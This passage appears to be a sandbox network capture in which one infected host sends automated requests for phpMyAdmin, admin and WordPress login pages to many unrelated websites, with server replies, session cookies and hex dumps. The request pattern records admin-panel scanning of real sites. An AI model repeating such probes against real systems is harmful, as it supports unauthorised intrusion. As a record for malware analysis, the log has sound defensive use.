2023-12-20 02:13:33 UTC	178	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	529	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c05abb9807dcd65e44c8ff0c43211fb3; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=2717204537; expires=Thu, 21-Dec-2023 02:13:34 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.texasopendoor.com/phpMyAdmin/
2023-12-20 02:13:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.4	63790	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	325	OUT	GET /admin HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Q0i8fHzRFwb5OU1T3F1t3jZJZNPabEw8Tmo2hlWqwqKEEFcq1/62PRxCXXEfAFUHjXy3KXFT+E+NeLmry8ax3A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.4	63789	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	207	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:34 GMT Connection: close
2023-12-20 02:13:34 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.4	63712	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	183	OUT	GET /PhpMyAdmin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038414.3131651360205562382 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:34 GMT X-Served-By: cache-dfw-kdfw8210132-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqe0L1PnLg6FLWqrGNmqNwAa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalq/opwH/6/oT1kZXhDyGQxt3vu//UuWCv/0tsMeoz9K6EpKKUOcNHpK3TM1rJJ5Tlw==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:34 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:34 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:34 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:34 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.4	63649	77.72.0.94	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	174	OUT	GET /admin.php HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:34 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:34 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:34 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.4	63998	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	179	OUT	GET /admin.php HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	454	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 57 Location: https://www.geoffreynolds.com.au/admin.php Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:34 GMT X-Served-By: cache-pdk-kfty2130036-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038414.314522,VS0,VE20 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:34 UTC	57	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 61 64 6d 69 6e 2e 70 68 70 Data Ascii: Redirecting to https://www.geoffreynolds.com.au/admin.php

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.4	63678	83.98.155.23	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	178	OUT	GET /wp-login.php HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:35 UTC	373	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:34 GMT Server: Apache/2 X-Powered-By: PHP/7.4.33 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.a2b-internet.com Cache-Control: max-age=0 Expires: Wed, 20 Dec 2023 02:13:34 GMT Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.4	64012	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	326	OUT	GET /admin HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_BHRfZFo4HTk4Js6w1hVzSRWkmaAY9qf+ArA9uztw5keAfh5uCAf/LHHFWNmuR1sGgSUJ1OxpWkgOdhsm3/Ei1Q Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.4	64142	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	192	OUT	GET /admin/auth/login HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	1115	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=00f238a19513e726801081fe6fd0d8ed; path=/admin; expires=Wed, 20 Mar 2024 02:13:34 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=00f238a19513e726801081fe6fd0d8ed; path=/admin; expires=Wed, 20 Mar 2024 02:13:34 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWt3TVRFMFlqbGxZaTAyT1dKakxUUXpPREV0T0RrM05TMHhORFkxTnpVeU9UQTRNak1HT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjM0LjQzOFoiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--2a50e8ae747aa39ec1ebf7414e53b0692a386616; path=/admin; expires=Sat, 20 Dec 2025 02:13:34 GMT; secure; HttpOnly; SameSite=Lax
2023-12-20 02:13:34 UTC	1586	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 64 63 33 32 63 62 64 63 66 36 61 33 62 35 35 37 61 35 38 37 36 65 35 62 66 39 38 38 37 66 39 33 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 34 61 48 52 30 63 48 4d 36 4c 79 39 68 63 6e 52 31 63 32 39 77 59 58 4e 30 63 6e 6b 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 52 6f 64 48 52 77 63 7a 6f 76 4c 32 46 79 64 48 56 7a 62 33 42 68 63 33 52 79 65 53 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 Data Ascii: Set-Cookie: identity-state-dc32cbdcf6a3b557a5876e5bf9887f93=BAh7DEkiDnJldHVybi10bwY6BkVUSSI4aHR0cHM6Ly9hcnR1c29wYXN0cnkubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkRodHRwczovL2FydHVzb3Bhc3RyeS5teXNob3BpZnkuY29tL2FkbWluL2F1dGg
2023-12-20 02:13:34 UTC	1397	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:34 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 64 65 39 65 62 31 63 36 37 65 31 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845de9eb1c67e1-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:34 UTC	2226	IN	Data Raw: 38 61 62 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 64 30 32 61 61 66 63 33 2d 31 30 34 30 2d 34 62 39 65 2d 39 64 36 64 2d 65 65 66 36 62 62 32 31 66 37 32 65 26 61 6d 70 3b 6e 6f 6e 63 65 3d 35 35 32 66 64 39 64 36 30 36 66 34 64 64 64 66 Data Ascii: 8ab<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=d02aafc3-1040-4b9e-9d6d-eef6bb21f72e&nonce=552fd9d606f4dddf
2023-12-20 02:13:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.4	64017	172.67.181.211	443

